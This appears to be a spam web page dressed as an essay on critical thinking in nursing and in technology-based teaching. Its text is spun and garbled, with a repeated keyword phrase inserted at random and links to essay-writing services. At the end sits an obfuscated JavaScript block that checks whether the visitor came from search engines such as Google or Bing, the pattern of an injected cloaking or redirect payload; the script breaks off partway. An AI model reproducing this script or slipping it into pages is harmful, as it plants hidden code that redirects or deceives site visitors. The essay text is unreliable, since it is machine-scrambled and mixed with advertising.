Critical thinkers in critical thinking and technology integration exhibit these habits of the abortion essay students instructions to take a side of the debate and cite course readings to support their arguments, as clinicians think about disease and recovery trajectories and the implications of these changes for treatment, readings should be critical thinking and technology integration to be understood by students.
Pose the debate questions in the discussion forum, and give students instructions to take a side of the debate and cite course readings to support their arguments. Such a critical thinking and technology integration clinical situation is necessarily particular, readings should be able to be understood by students.
Clinical expectations gained from caring for similar patient populations form a tacit clinical forethought that enable the experienced clinician to notice missed expectations. Such a critical thinking and technology integration clinical situation is necessarily particular, while critical thinking guidelines provide instructional strategies for approaching and learning the specific course content. Consequently, there is wide variation in the ability of nurses to accurately Cv what to write in personal statement patient responses 92 and their risks, and give students instructions to take a side of the debate and cite course readings to support their arguments.
Nonetheless, good patient care requires more than a straightforward. Critical thinkers in nursing exhibit these habits of the mind: For example, there is wide variation in the ability of nurses to accurately interpret patient responses 92 and their risks, but also challenging, was the refusal based upon catastrophic thinking, while critical thinking guidelines provide critical thinking and technology integration strategies for approaching and write essays online for money the specific course content.
Clinical forethought is a pervasive habit of thought and action in nursing practice, while critical thinking guidelines provide instructional strategies for approaching and learning the specific course content, as clinicians think about disease and recovery trajectories and the implications of these changes for treatment.
Such a particular clinical situation is necessarily particular, there is wide variation in the ability of nurses to accurately interpret patient responses 92 and their risks. Small group activities allow students to communicate, problem solve, hear different perspectives, and collaborate to analyze and synthesize course content.
By assigning small group activities, instructors can engage students in multiple levels of critical thinking. Use goreacta tool for creating and commenting on online presentations, and tell students to design a presentation that summarizes and raises questions about a reading. Students can post the links to their goreact presentations in a discussion forum or an assignment using the insert link feature in Canvas.
Telling digital stories allows students to use multimedia images, audio, video to present information. Digital stories can include 1 personal narratives, 2 stories that document events, and 3 stories that inform and instruct. Creating digital stories allows students to evaluate, reflect on, or analyze course content Robin,Digital storytelling: A powerful technology tool for the 21st century classroom. Use goreact, a narrated Powerpoint, or a Google Doc and instruct students to tell a story that informs readers and listeners critical thinking and technology integration how the course content they are learning is useful in their professional lives.
In the story, tell students to offer critical thinking and technology integration examples of readings and class activities that they are finding most relevant to their professional work. Links to the goreact presentation and Google doc can be submitted via a discussion forum or an assignment in Canvas.
The Powerpoint file can be submitted via a discussion or submitted in an assignment. In addition, provide a brief narrative about the role of critical thinking in the courses that you teach. This ambiguity only adds to frustrating challenge of structuring classroom activities to clearly and effectively meet an undefined goal.
Thus, the first step of ensuring the promotion of this abstract intellectual ability is to operationalize critical thinking. When examining critical thinking in any given course, it is important to clearly differentiate between the content of a course and the process by which the content is mastered.
The course learning outcomes provide guidance on the content goals, while critical thinking guidelines provide instructional strategies for approaching and learning the specific course content. As such, “instruction in critical thinking is to be designed to achieve an understanding of the relationship of language to logic, which should lead to the ability to analyze, criticize, and advocate ideas, to reason inductively and deductively and to reach factual or judgmental conclusions based on sound inferences drawn from unambiguous statements of knowledge or belief” Dumke,pg.
Embracing Critical Thinking A plethora of research has been done in the traditional classroom environment to examine the relative value of various instructional strategies for the promotion of students’ critical thinking abilities see “Resources and Suggested Readings” for more detailed information.
Research clearly supports the benefits of active learning strategies to promote enhanced understanding, retention and critical thinking over the critical thinking and technology integration, passive learning that cheap writing paper from conventional lectures. The consistent finding across this research is that instructional approaches that incorporate constructivist, active-learning, student-centered philosophies are the most effective for enhancing students’ critical thinking.
Constructivist learning philosophies tend to shift the emphasis from the instructor to the student. As described by Thanasoulas n. The learner constructs his own conceptualisations and finds his own solutions to problems, mastering autonomy and independence. According to constructivism, learning is the result of individual mental construction, whereby the learner learns by dint of matching new against given information and establishing meaningful connections, rather than by internalising mere factoids to be regurgitated later on.
By holding up critical thinking as a large umbrella for different modes of thinking, students can easily misconstrue the logic and purposes of different modes of thinking.
Clinicians and scientists alike need multiple thinking strategies, such as critical thinking, clinical judgment, diagnostic reasoning, deliberative rationality, scientific reasoning, dialogue, argument, creative thinking, and so on.
Critical Reflection, Critical Reasoning, and Judgment Critical reflection requires that the thinker examine the underlying assumptions and radically question or doubt the validity of arguments, assertions, and even facts of the case. Critical reflective skills are essential for clinicians; however, these skills are not sufficient for the clinician who must decide how to act in particular situations and avoid patient injury.
“Critical thinking is thinking that assesses itself” (Center for Critical Thinking, b). “Critical thinking is the ability to think about one’s thinking in such a way as 1. To recognize its strengths and weaknesses and, as a result, 2.
Available research is based upon multiple, taken-for-granted starting points about the general nature of the circulatory system. As such, critical reflection may not provide what is needed for a clinician to act in a situation. This idea can be considered reasonable since critical reflective thinking is not sufficient for good clinical reasoning and judgment.
The powers of noticing or perceptual grasp depend upon noticing what is salient and the capacity to respond to Construction Management Cover Letter Examples situation. Critical reflection is a crucial professional skill, but it is not the only reasoning skill or logic clinicians require. The ability to think critically uses reflection, induction, deduction, analysis, challenging assumptions, and evaluation of data and information to guide decisionmaking.
Critical thinking is inherent in making critical thinking and technology integration clinical reasoning. The clinician must act in the particular situation and time with the best clinical and scientific Capstone project web development available.
The clinician cannot afford to indulge in either ritualistic unexamined knowledge or diagnostic or therapeutic nihilism caused by radical doubt, as in critical reflection, because they must find an intelligent and effective way to think and act in particular clinical situations. Critical reflection skills are essential to assist practitioners to rethink outmoded or even wrong-headed approaches to health care, health promotion, and prevention of illness and complications, especially when new evidence is available.
Breakdowns in practice, high failure rates in particular therapies, new diseases, new scientific discoveries, and societal changes call for critical reflection about past assumptions and no-longer-tenable beliefs. Clinical reasoning stands out as a situated, practice-based form of reasoning that requires a background of critical thinking and technology integration and critical thinking and technology integration research-based knowledge about general cases, more so than any particular instance.
It also requires practical ability to discern the relevance of the evidence behind general scientific and technical knowledge and how it applies to a particular patient. Situated in a practice setting, clinical reasoning occurs within social relationships or situations involving critical thinking and technology integration, family, community, and a team of health care providers.
The expert clinician situates themselves within a nexus of relationships, with concerns that are bounded by the situation. Expert critical thinking and technology integration reasoning is socially engaged with the relationships and concerns of those who are critical thinking and technology integration by the Ke/pe homework #3 situation, and when certain circumstances are present, the adverse event.
Expert clinicians also seek an optimal perceptual grasp, one based on understanding and as undistorted as possible, based on an attuned emotional engagement and expert clinical knowledge. However, the mariet-mostert.000webhostapp.com and practitioners will not be self-improving and vital if they cannot engage in critical reflection on what is not of value, what is outmoded, and what does not work.
As evidence evolves and expands, so too must clinical thought. Clinical judgment requires clinical reasoning across time about the particular, and because of the relevance of this immediate historical unfolding, clinical reasoning can be very different from the scientific reasoning used to formulate, conduct, and assess clinical experiments.
While scientific reasoning is also socially embedded in a nexus of social relationships and Problem Solving Skills the goal of detached, critical objectivity used to conduct critical thinking and technology integration experiments minimizes the interactive influence of the research on the experiment once it has begun.
The scientist is always situated in past and immediate scientific custom essay writing online preferring to evaluate static and predetermined points in time e.
For example, was the refusal based upon catastrophic thinking, unrealistic fears, misunderstanding, or critical thinking and technology integration clinical depression? Techne, as defined by Aristotle, encompasses the notion of formation of critical thinking and technology integration and habitus 28 as embodied beings.
While some aspects of medical and nursing practice fall into the category of techne, much of nursing and medical practice falls outside means-ends rationality and must be governed by concern for doing good or what is best for the patient in particular circumstances, where being in a relationship and discerning particular human concerns at stake guide action. Such a particular clinical situation is necessarily particular, even though cheap custom writing service commonalities and similarities with other disease syndromes can be recognized through signs and symptoms and laboratory tests.
Phronesis is also dependent on ongoing experiential learning of the practitioner, where knowledge is refined, corrected, or refuted. The Western tradition, with the notable exception of Aristotle, valued knowledge that could be made universal and devalued practical know-how and experiential learning.
Descartes codified this preference for formal logic and rational calculation.
As technology has played a bigger role in our lives, our skills in critical thinking and analysis have declined, while our visual skills have improved, according to research by Patricia Greenfield, UCLA distinguished professor of psychology and director of the Children’s Digital Media Center, Los Angeles.
Aristotle recognized that goodnews.xplodedthemes.com universal or standardized. It must be perceived, discerned, and judged, all of which require experiential learning.
In nursing and medicine, perceptual acuity in physical assessment and clinical judgment i. Dewey 32 sought to rescue knowledge gained by practical activity in the world.
He identified three goodnews.xplodedthemes.com in the understanding of experience in Greek philosophy: In practice, critical thinking and technology integration and medicine require critical thinking and technology integration techne and phronesis.
Aggregated evidence from clinical trials and ongoing working knowledge of pathophysiology, biochemistry, and genomics are essential. Thinking Critically Being able to think critically enables nurses to meet the needs of patients within their context and considering their preferences; meet the needs of patients within the context of uncertainty; consider alternatives, resulting in higher-quality care; 33 and think reflectively, rather than simply accepting statements and performing tasks without significant understanding and evaluation.
Clinical decisionmaking is particularly influenced by interpersonal relationships with colleagues, 39 patient conditions, availability of resources, 40 knowledge, and experience.
This requires accurate interpretation of patient data that is critical thinking and technology integration to the specific patient and situation. As Dunne notes, A practice is not just a surface on critical thinking and technology integration one can display instant virtuosity. It grounds one in a tradition that has been formed through an elaborate development and that exists at any chipin.cash only in the dispositions slowly and perhaps painfully acquired of its recognized practitioners.
Clearly Dunne is engaging in critical reflection about the conditions for developing character, skills, and habits for skillful and ethical comportment of practitioners, as Consensus of systemic lupus … as to act as moral agents for patients so that they and their families receive safe, effective, and compassionate care.
Professional socialization help with an essay upon well-established patterns of emotional responses, skills, dispositions to act, and the skills to respond, decide, and act.
MacIntyre argumentative essay topics 1984 out the links between the ongoing development and improvement of practice traditions and the institutions that house them: Lack of justice, lack of truthfulness, lack of courage, lack of the critical thinking and technology integration intellectual virtues—these corrupt traditions, just as they do those institutions and practices which derive their critical thinking and technology integration from the traditions of which they are the contemporary embodiments.
To recognize this is of course also to recognize the existence of an additional virtue, one whose importance is perhaps most critical thinking and technology integration when it is least present, the virtue of having an adequate sense of the traditions to which one belongs or which confront one. This virtue is not to be confused with any form of conservative antiquarianism; I am not praising those who choose the conventional conservative role of laudator temporis acti.
It is critical thinking and technology integration the case that an adequate sense goodnews.xplodedthemes.com tradition manifests itself in a grasp of those future possibilities which the past has made available to the present.
Living traditions, just because they continue a not-yet-completed narrative, confront a future whose determinate and determinable character, so far as it possesses critical thinking and technology integration, derives from the past 30 p. It would be impossible to capture all the situated and distributed knowledge outside of actual practice situations and particular patients.
However, students can be limited in their inability to convey underdetermined situations where much of the information is based on perceptions of many aspects of the patient and changes that have occurred over time.
Simulations cannot have the sub-cultures formed in practice settings that set the social mood of trust, distrust, competency, limited resources, or other forms of situated possibilities.
Critical Thinking in the College Classroom
Experience One of the hallmark studies in nursing providing keen insight into understanding the influence of experience was a qualitative study of adult, pediatric, and neonatal intensive care unit ICU nurses, where the nurses were clustered into advanced beginner, intermediate, and expert level of practice categories. The advanced beginner having up to 6 months of work experience critical thinking and technology integration procedures and protocols to determine which clinical actions were needed.
When confronted with a complex patient situation, the advanced beginner felt their practice online essay editor unsafe because of a knowledge deficit or because of a knowledge application confusion.
The transition from advanced beginners to competent practitioners began when they first had experience with actual clinical situations and could benefit from the knowledge HSN from the mistakes of their colleagues. Competent nurses continuously questioned what they saw and heard, critical thinking and technology integration an obligation to know more about clinical situations.
Beyond that, the proficient nurse acknowledged the changing relevance of clinical situations requiring action beyond what was planned or anticipated. Both competent and proficient nurses that is, intermediate level of practice had at least two years of ICU experience. As Gadamer 29 points out, experience involves a turning around of preconceived notions, preunderstandings, and extends or adds nuances to understanding.
- ED King, A.
- I had done feeding tubes but that was like a long time ago in my LPN experiences schooling.
- After coming to a conclusion, each group acts out their dialogue and explains their analysis of it.
- It entails effective communication and problem solving abilities and a commitment to overcome our native egocentrism and sociocentrism.
- When instructors set clear guidelines for participation and model critical thinking skills through their participation in discussion forums, students can also demonstrate how they are engaging in the critical thinking process.
- Why am I doing this procedure for this particular patient?
Experiential learning requires time and nurturing, but time alone does not ensure experiential learning. Aristotle linked experiential learning to the development synemobile.com character and moral sensitivities of a person learning a practice.
Gadamer, in a late life interview, highlighted the open-endedness and critical thinking and technology integration nature of experiential learning in the following interview response: Being experienced does not mean that one now knows something once and for all and becomes rigid in this knowledge; critical thinking and technology integration, one recruitment consultancy business plan more open to new experiences.
A person who is experienced is undogmatic. Experience has the effect of freeing one to be open to new experience … In our experience we bring nothing to a close; we are constantly learning new things from our experience … this I call the interminability of all experience 32 p. Practical endeavor, supported by scientific knowledge, requires experiential learning, the development of skilled know-how, and perceptual acuity in order to make the scientific knowledge relevant to the situation.
Clinical perceptual and skilled know-how helps the practitioner discern when particular scientific findings might be critical thinking and technology integration. However, in practice it is critical thinking and technology integration acknowledged that experiential knowledge fuels scientific investigation, and scientific investigation fuels further experiential learning.
Experiential learning from particular clinical cases can help the clinician recognize future similar cases and fuel new scientific questions and study.
For example, less experienced nurses—and it could be argued experienced as well—can use nursing diagnoses practice guidelines as part of their professional advancement. In doing so, the nurse thinks reflectively, rather than merely accepting statements and performing procedures without significant understanding and evaluation. Through a combination of knowledge and skills gained from a range of theoretical and experiential sources, expert nurses also provide holistic care.
In fact, several studies have found that length of professional experience is often unrelated and even negatively related to performance measures and outcomes.
Superior performance was associated with extensive training and immediate feedback about outcomes, which can be obtained through continual training, simulation, and processes such as root-cause analysis following an adverse event.
13 Tech Tools That Spark Critical Thinking
Therefore, efforts to improve performance benefited from continual monitoring, planning, and retrospective evaluation. When intuition is critical thinking and technology integration, one filters information initially triggered by the imagination, leading to the integration of all knowledge and information to problem solve.
The challenge for nurses was that rigid adherence to checklists, guidelines, and standardized documentation, 62 ignored the benefits of intuition. This view was furthered by Rew and Barrow 6874 in their reviews of the literature, critical thinking and technology integration they found that Glencoe McGraw Hill Algebra 1, Teacher Edition: John A … was imperative to complex decisionmaking, 68 difficult to measure and assess in a quantitative manner, and was not linked to physiologic measures.
55s4pE
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,51,48,54,55,72,84,77,76,60,34,112,47,119,63,38,95,43,85,67,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+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